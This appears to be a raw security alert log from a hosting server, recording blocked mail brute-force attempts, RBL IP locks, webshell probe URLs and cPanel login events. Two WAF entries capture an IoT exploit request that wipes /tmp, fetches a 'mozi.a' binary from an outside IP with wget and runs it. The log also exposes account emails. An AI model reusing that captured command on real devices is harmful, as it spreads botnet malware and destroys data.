abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:18:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63217: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.96
country_id: 3469034
description:
Jan 13 11:18:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.216.66
country_id: 1269750
description:
Jan 13 11:19:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.216.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-13 11:19:12 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:38816: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 151.80.133.55
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/img/img/demos/img/photos/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 45.230.66.101
country_id: 3865483
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.62||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;rm -rf *;wget http://45.230.66.101:11944/mozi.a;chmod 777 mozi.a;/tmp/mozi.a jaws||


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 45.230.66.101
country_id: 3865483
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.62||T:APACHE||MVN:MATCHED_VAR||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/45.230.66.101:11944/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.198
country_id: 3865483
description:
Jan 13 11:22:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.228
country_id: 1269750
description:
Jan 13 11:22:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.81
country_id: 3996063
description:
Jan 13 11:22:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.228
country_id: 1269750
description:
2026-01-13 11:22:54 dovecot_login authenticator failed for H=(nsg-corporate-228.228.187.122.airtel.in) [122.187.228.228]:39379: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.136
country_id: 953987
description:
Jan 13 11:23:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.81
country_id: 3996063
description:
Jan 13 11:23:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.198
country_id: 3865483
description:
Jan 13 11:23:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.71.145
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/finder/CHANGELOG.md HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.235.115
country_id: 3865483
description:
Jan 13 11:26:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.235.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.223
country_id: 953987
description:
Jan 13 11:27:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:27:50 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37769: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.235.115
country_id: 3865483
description:
Jan 13 11:27:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.235.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:28:23 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37770: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.32.158
country_id: 3865483
description:
Jan 13 11:28:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.32.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.144.246.132
country_id: 798544
description:
Jan 13 11:28:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.144.246.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.187
country_id: 3469034
description:
Jan 13 11:28:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:29:50 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45821: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:30:23 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45822: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:31:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37771: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.153.186
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.95
country_id: 3469034
description:
Jan 13 11:31:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.113.241
country_id: 3175395
description:
Jan 13 11:32:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.113.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.43
country_id: 3469034
description:
Jan 13 11:32:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:33:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45829: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.248.149.21
country_id: 3175395
description:
Jan 13 11:33:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.248.149.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.81.154.194
country_id: 1269750
description:
Jan 13 11:33:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.81.154.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:33:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45830: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/career.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:34:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37774: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.37.116.70
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-34.198.37.116.70||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:34:27 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37775: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.157
country_id: 953987
description:
Jan 13 11:34:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:36:12 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45833: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:37:24 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37776: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.252
country_id: 690791
description:
Jan 13 11:38:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.252
country_id: 690791
description:
Jan 13 11:39:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.33.198
country_id: 226074
description:
Jan 13 11:39:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.33.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:39:28 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45837: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jan 13 11:40:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:40:20 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37779: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:40:38 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37779: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jan 13 11:41:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:41:14 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37780: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59232: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:42:43 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45841: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 13 11:42:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:43:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59232: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:43:20 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45842: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 11:43:34 H=([45.144.212.242]) [45.144.212.242]:52464 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.155.186.15
country_id: 1168579
domain: nobledec.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:89212.nobledec.com||ServerName:nobledec.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:623ebe92ada8edae0ac56f345c2bd47368993478||Title:0x244f61c4||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:46:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63262: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:46:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63262: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.202
country_id: 3469034
description:
Jan 13 11:49:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.242
country_id: 6252001
description:
2026-01-13 11:48:35 2515897 [Warning] Aborted connection 2515897 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.242' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.202
country_id: 3469034
description:
Jan 13 11:49:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/introduction-service.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jan 13 11:49:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.158.225
country_id: 1733045
description:
[2026-01-13 11:49:50 +0800] info [webmaild] 115.133.158.225 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.26.147
country_id: 798544
description:
Jan 13 11:51:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.26.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.186
country_id: 1733045
description:
[2026-01-13 11:51:38 +0800] info [webmaild] 27.125.243.186 - jlpom@ajplantations.com.my "GET /cpsess7039160624/3rdparty/roundcube/plugins/jqueryui/themes/elastic/jquery-ui.min.css?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.146] != Current IP Address [27.125.243.186]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.146
country_id: 1733045
description:
[2026-01-13 11:51:45 +0800] info [webmaild] 27.125.243.146 - jlpom@ajplantations.com.my "GET /cpsess7039160624/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.189.98.241
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ice/15/105/1511897 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.2
country_id: 226074
description:
Jan 13 11:56:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.2
country_id: 226074
description:
Jan 13 11:56:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.34.34.253
country_id: 2510769
description:
Jan 13 11:56:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.34.34.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.252.75
country_id: 3865483
description:
Jan 13 11:58:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.252.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.22
country_id: 3469034
description:
Jan 13 11:58:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.252.75
country_id: 3865483
description:
Jan 13 11:58:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.252.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.113.225
country_id: 3469034
description:
Jan 13 11:58:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.113.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.235.31.165
country_id: 3077311
description:
Jan 13 11:58:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.235.31.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:59:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37782: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:59:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37782: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.44
country_id: 3865483
description:
Jan 13 12:00:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 12:01:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45857: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 12:01:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45857: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.181.45.106
country_id: 587116
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Attribute HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.125.113.155
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Attribute/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.128.168
country_id: 1733045
description:
[2026-01-13 12:04:54 +0800] info [webmaild] 113.211.128.168 - felicia@nexuscollection.com "POST /cpsess1254170256/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.123.243] != Current IP Address [113.211.128.168]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.36
country_id: 3469034
description:
Jan 13 12:05:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.113.188.65
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/doc/sending.rst HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.200
country_id: 953987
description:
Jan 13 12:04:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.249.118
country_id: 3865483
description:
Jan 13 12:05:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.249.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.36
country_id: 3469034
description:
